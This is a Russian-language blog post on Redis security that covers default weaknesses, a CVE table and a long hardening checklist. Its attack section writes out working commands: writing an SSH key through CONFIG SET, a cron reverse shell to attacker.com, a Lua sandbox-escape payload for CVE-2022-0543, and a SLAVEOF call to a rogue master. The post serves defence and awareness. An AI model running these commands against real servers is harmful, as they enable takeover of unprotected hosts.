← Назад в блог

Без заголовка

Уязвимости Redis: почему тысячи серверов взламывают прямо сейчас и как защититься

Title: Уязвимости Redis — полный разбор угроз и защита сервера в 2026 году Description: Redis по умолчанию небезопасен. Разбираем реальные уязвимости, векторы атак, CVE-инциденты и конкретный чек-лист защиты: ACL, TLS, firewall, переименование команд. Keyphrases: уязвимости redis, redis безопасность, redis без пароля взлом, redis exposed internet, redis security best practices, redis cve 2025 2026, защита redis, redis requirepass acl, redis конфигурация безопасность date: '2025-11-14' cover: '/blog-covers/uyazvimosti-redis.png'

Redis — один из самых популярных in-memory хранилищ в мире, но по умолчанию он спроектирован для работы в доверенной сети без аутентификации. Это значит: если вы случайно открыли Redis в интернет — любой может подключиться к нему и делать с данными всё что угодно. По данным Shodan, в 2026 году в открытом доступе находятся десятки тысяч Redis-инстансов без пароля.

Почему Redis изначально небезопасен

Redis создавался как инструмент для работы внутри изолированной сети между серверами приложений. Его автор Сальваторе Санфилиппо (antirez) прямо указывал: Redis не предназначен для открытого доступа из интернета. Производительность была приоритетом, безопасность — нет.

По умолчанию Redis:

  • Слушает все интерфейсы (0.0.0.0) в старых версиях
  • Не требует пароля
  • Не шифрует данные в транзите
  • Позволяет выполнять команды CONFIG SET, SLAVEOF, EVAL без ограничений
  • Запускается как суперпользователь в некоторых конфигурациях

Начиная с Redis 3.2 появился «защищённый режим» (protected-mode yes), который блокирует подключения с внешних адресов, если не настроен пароль. Но это лишь частичная защита.

Реальные векторы атак на Redis

Вектор 1: Redis без пароля, доступный из интернета

Самая распространённая атака. Злоумышленник сканирует диапазоны IP через Shodan или masscan, находит открытый порт 6379, подключается через redis-cli:

redis-cli -h <IP жертвы> ping
# PONG — сервер отвечает без пароля
redis-cli -h <IP жертвы> info server
# Полная информация о сервере
redis-cli -h <IP жертвы> keys "*"
# Все ключи в базе

Никаких эксплойтов не нужно — просто открытый порт и отсутствие аутентификации.

Вектор 2: Запись SSH-ключа через CONFIG SET

Классическая техника для получения shell-доступа к серверу через незащищённый Redis:

# Злоумышленник генерирует SSH-ключ
ssh-keygen -t rsa

# Записывает публичный ключ в Redis
redis-cli -h <IP жертвы> config set dir /root/.ssh/
redis-cli -h <IP жертвы> config set dbfilename authorized_keys
echo -e "\n\n$(cat id_rsa.pub)\n\n" | redis-cli -h <IP жертвы> -x set pwn
redis-cli -h <IP жертвы> bgsave

# Теперь можно подключиться к серверу по SSH
ssh -i id_rsa root@<IP жертвы>

Эта техника работает, если Redis запущен от имени пользователя с домашней директорией (часто root). Без пароля — полный компромис сервера за минуту.

Вектор 3: Запись cron-задачи для reverse shell

# Записать вредоносный cron через Redis
redis-cli -h <IP> config set dir /var/spool/cron/
redis-cli -h <IP> config set dbfilename root
redis-cli -h <IP> set cron "\n* * * * * bash -i >& /dev/tcp/attacker.com/9999 0>&1\n"
redis-cli -h <IP> bgsave

Результат — reverse shell каждую минуту на сервер злоумышленника.

Вектор 4: Lua-инъекция (CVE-2022-0543 и аналоги)

Redis поддерживает выполнение Lua-скриптов через команду EVAL. Ряд CVE-уязвимостей позволял выйти за пределы Lua-sandbox и выполнить произвольный код на сервере:

-- Пример использования уязвимости Lua sandbox escape
EVAL 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

CVE-2022-0543 касался только пакета Redis в Debian/Ubuntu (а не upstream Redis), но наглядно показал: EVAL — опасная команда в чужих руках.

Вектор 5: Redis Replication для RCE (SSRF через SlaveOf)

Команда SLAVEOF позволяет сделать Redis рабой внешнего мастер-сервера. Злоумышленник может заставить Redis скачать вредоносный модуль (MODULE LOAD) с подконтрольного сервера:

# Атакующий запускает поддельный Redis-мастер
# Жертва подключается к нему через SLAVEOF
redis-cli -h <жертва> slaveof attacker.com 6379
# Затем атакующий реплицирует команду загрузки вредоносного .so модуля

Техника известна с 2019 года, но актуальна для старых версий Redis и конфигураций без ACL.

Вектор 6: Атаки через команду KEYS

# KEYS * блокирует Redis на время выполнения (O(N))
# Злоумышленник может вызвать DoS-атаку
redis-cli -h <IP> keys "*"

На базах с миллионами ключей команда KEYS * может заморозить Redis на секунды, что эффективно как DoS.

Известные CVE в Redis

| CVE | Версии | Тип | Оценка CVSS | |---|---|---|---| | CVE-2022-0543 | Redis на Debian/Ubuntu | RCE через Lua | 10.0 (критическая) | | CVE-2023-28856 | Redis < 7.0.11 | Authenticated RCE | 7.8 (высокая) | | CVE-2023-36824 | Redis < 7.0.12 | Heap overflow | 8.8 (высокая) | | CVE-2024-31449 | Redis < 7.2.4 | Authenticated RCE через Lua | 8.8 (высокая) | | CVE-2024-46981 | Redis < 7.2.7 | RCE через Lua bytecode | 9.8 (критическая) |

Большинство критических уязвимостей требуют аутентификации — то есть, если у вас нет пароля, ситуация ещё хуже: атакующему не нужен даже эксплойт.

Как проверить, уязвим ли ваш Redis

Проверка доступности из внешней сети

# С внешней машины (не с сервера)
redis-cli -h your.server.ip -p 6379 ping

# Если ответ PONG — Redis открыт без защиты
# Если timeout — хорошо, порт закрыт

Проверка конфигурации изнутри

redis-cli config get bind
# Должно быть 127.0.0.1, не 0.0.0.0

redis-cli config get requirepass
# Должно быть непустым

redis-cli config get protected-mode
# Должно быть yes

Поиск через Shodan

# Поиск по IP вашей организации
shodan host <your_ip>
# Или поиск открытых Redis без пароля
shodan search "product:Redis" country:RU

Полный чек-лист защиты Redis

1. Аутентификация: requirepass и ACL

Для Redis до версии 6.0 — минимальная защита через пароль:

# redis.conf
requirepass "ваш_очень_длинный_пароль_из_32_символов"

Начиная с Redis 6.0 рекомендуются ACL (Access Control Lists):

# redis.conf

# Отключаем пользователя по умолчанию
user default off nopass nocommands

# Создаём пользователя для приложения только с нужными командами
user appuser on >strong_password ~* &* +@read +@write +@set -@admin -@dangerous

# Отдельный пользователь для мониторинга (только чтение)
user monitoring on >monitor_password ~* &* +@read +info +ping -@admin

Применение ACL без перезапуска:

redis-cli acl load
redis-cli acl whoami
redis-cli acl list

2. Сетевые ограничения: bind и firewall

# redis.conf — слушаем только localhost
bind 127.0.0.1

# Или конкретный внутренний IP
bind 127.0.0.1 10.0.0.5

Firewall через iptables (Linux):

# Закрыть Redis для всего мира
iptables -A INPUT -p tcp --dport 6379 -j DROP

# Открыть только для конкретного приложения (по IP)
iptables -A INPUT -p tcp --dport 6379 -s 10.0.0.10 -j ACCEPT

Firewall через ufw:

sudo ufw deny 6379
sudo ufw allow from 10.0.0.10 to any port 6379

3. TLS-шифрование (Redis 6.0+)

# redis.conf
tls-port 6379
port 0  # Отключаем нешифрованный порт

tls-cert-file /etc/redis/tls/redis.crt
tls-key-file /etc/redis/tls/redis.key
tls-ca-cert-file /etc/redis/tls/ca.crt
tls-auth-clients yes  # Требуем сертификат от клиента
tls-protocols "TLSv1.2 TLSv1.3"

Подключение с TLS:

redis-cli --tls \
  --cert /etc/redis/tls/client.crt \
  --key /etc/redis/tls/client.key \
  --cacert /etc/redis/tls/ca.crt \
  -h 127.0.0.1 ping

4. Отключение или переименование опасных команд

# redis.conf

# Полностью отключить опасные команды
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command CONFIG ""
rename-command SLAVEOF ""
rename-command REPLICAOF ""
rename-command MODULE ""

# Или переименовать в случайную строку
rename-command EVAL "eval_xK9mP2nQ"
rename-command KEYS "keys_xK9mP2nQ"

5. Запуск от непривилегированного пользователя

# Создать системного пользователя
sudo useradd -r -s /bin/false redis

# Изменить владельца директорий
sudo chown -R redis:redis /var/lib/redis /etc/redis

# Настройка systemd для запуска от redis
# /etc/systemd/system/redis.service
[Service]
User=redis
Group=redis

6. Protected mode

# redis.conf
protected-mode yes

При включённом protected mode Redis отклоняет подключения с внешних адресов, если не настроен пароль и bind не ограничен.

7. Ограничение памяти и защита от DoS

# redis.conf
maxmemory 2gb
maxmemory-policy allkeys-lru

# Ограничение числа клиентов
maxclients 100

# Таймаут соединений
timeout 300

# Ограничение скорости выполнения команд (redis >= 6.0)
# latency-tracking yes

8. Логирование и мониторинг

# redis.conf
loglevel notice
logfile /var/log/redis/redis.log

# Мониторинг команд в реальном времени
redis-cli monitor

# Статистика
redis-cli info all
redis-cli slowlog get 10

Redis в Docker: особые риски

Типичная ошибка при работе с Docker:

# ОПАСНО — Redis открыт на хост-машине на всех интерфейсах
services:
  redis:
    image: redis:7
    ports:
      - "6379:6379"  # Этот порт слушает 0.0.0.0 на хосте!

# БЕЗОПАСНО — Redis доступен только внутри Docker-сети
services:
  redis:
    image: redis:7
    # Не маппируем порты наружу
    command: redis-server --requirepass strong_password
    networks:
      - internal

  app:
    image: my-app
    networks:
      - internal

networks:
  internal:
    driver: bridge

Если нужен доступ с хоста — маппируйте только на localhost:

ports:
  - "127.0.0.1:6379:6379"  # Только localhost, не весь мир

Redis в Kubernetes

В Kubernetes используйте NetworkPolicy для ограничения доступа:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: redis-access
spec:
  podSelector:
    matchLabels:
      app: redis
  ingress:
  - from:
    - podSelector:
        matchLabels:
          role: backend  # Только поды с этим лейблом
    ports:
    - port: 6379

Управляемые Redis-сервисы: безопасность из коробки

Если не хотите заниматься настройкой безопасности вручную — используйте управляемые сервисы:

  • Redis Cloud (redis.com/redis-enterprise-cloud) — официальный облачный Redis с TLS, ACL и шифрованием данных
  • AWS ElastiCache for Redis — TLS, auth tokens, VPC изоляция
  • Google Cloud Memorystore — аутентификация, шифрование, приватная сеть
  • Upstash (serverless Redis) — глобальный, с REST API, TLS из коробки, платные планы

Российские аналоги:

  • Yandex Managed Service for Redis — в VPC, с шифрованием
  • Selectel Redis — управляемый сервис
  • Timeweb Cloud Redis

Бэкапы Redis: не забывайте о данных

Redis хранит данные в памяти и периодически сохраняет на диск через RDB-снапшоты или AOF-логи. Это не полноценный бэкап.

# redis.conf — настройка RDB снапшотов
save 900 1    # Сохранить если изменился хотя бы 1 ключ за 15 минут
save 300 10   # Или 10 ключей за 5 минут
save 60 10000 # Или 10000 ключей за минуту

# Путь к dump.rdb
dir /var/lib/redis
dbfilename dump.rdb

Бэкап RDB-файла:

redis-cli bgsave
cp /var/lib/redis/dump.rdb /backups/redis_$(date +%Y%m%d_%H%M%S).rdb

Для автоматического резервного копирования Redis и других баз данных в облако смотрите dbsend.ru — поддерживаются SQLite, PostgreSQL, NoSQL включая Redis RDB-бэкапы.

Итог: минимальная безопасность Redis за 5 минут

Если у вас нет времени читать всё выше — сделайте хотя бы это прямо сейчас:

# 1. Установить пароль
redis-cli config set requirepass "very_long_random_password_32chars"

# 2. Ограничить bind
redis-cli config set bind "127.0.0.1"

# 3. Включить protected mode
redis-cli config set protected-mode yes

# 4. Сохранить конфиг
redis-cli config rewrite

А затем проверьте, что порт 6379 не доступен из интернета:

# С внешней машины
nc -zv your.server.ip 6379
# Должно быть: Connection refused или timeout

FAQ

Redis использует пароль, но всё равно уязвим? Да. Пароль — это только один слой защиты. Нужны также ограничение bind на localhost, firewall, TLS для шифрования трафика и переименование опасных команд. Пароль без других мер не защищает от прослушивания трафика или брутфорса.

Как быстро найти открытые Redis в своей инфраструктуре? nmap -p 6379 --script redis-info <ваш_диапазон_IP> покажет все открытые Redis-инстансы. Или используйте Shodan для внешнего сканирования.

Redis 7 безопаснее Redis 6? Redis 7 добавил улучшенные ACL, поддержку отдельных пользователей для Pub/Sub, улучшенный мониторинг. Но базовые принципы защиты одинаковы для всех версий.

Можно ли использовать Redis без пароля в Docker Compose? Только если Redis не маппирует порты наружу (ports не настроены или маппируются на 127.0.0.1). Внутри Docker-сети без маппинга — относительно безопасно для dev-окружения. В продакшене — только с паролем и ACL.

Как защитить Redis в продакшене минимальными усилиями? Используйте управляемый сервис (AWS ElastiCache, Yandex Managed Redis) — там безопасность настроена по умолчанию. Или следуйте чек-листу выше: bind на localhost, пароль, firewall, запуск не от root.

Влияет ли TLS на производительность Redis? Да, TLS добавляет overhead ~10-20% латентности. Для большинства приложений это незначительно. Если Redis работает только внутри одного хоста (localhost) — TLS можно не включать. Если трафик идёт через сеть — TLS обязателен.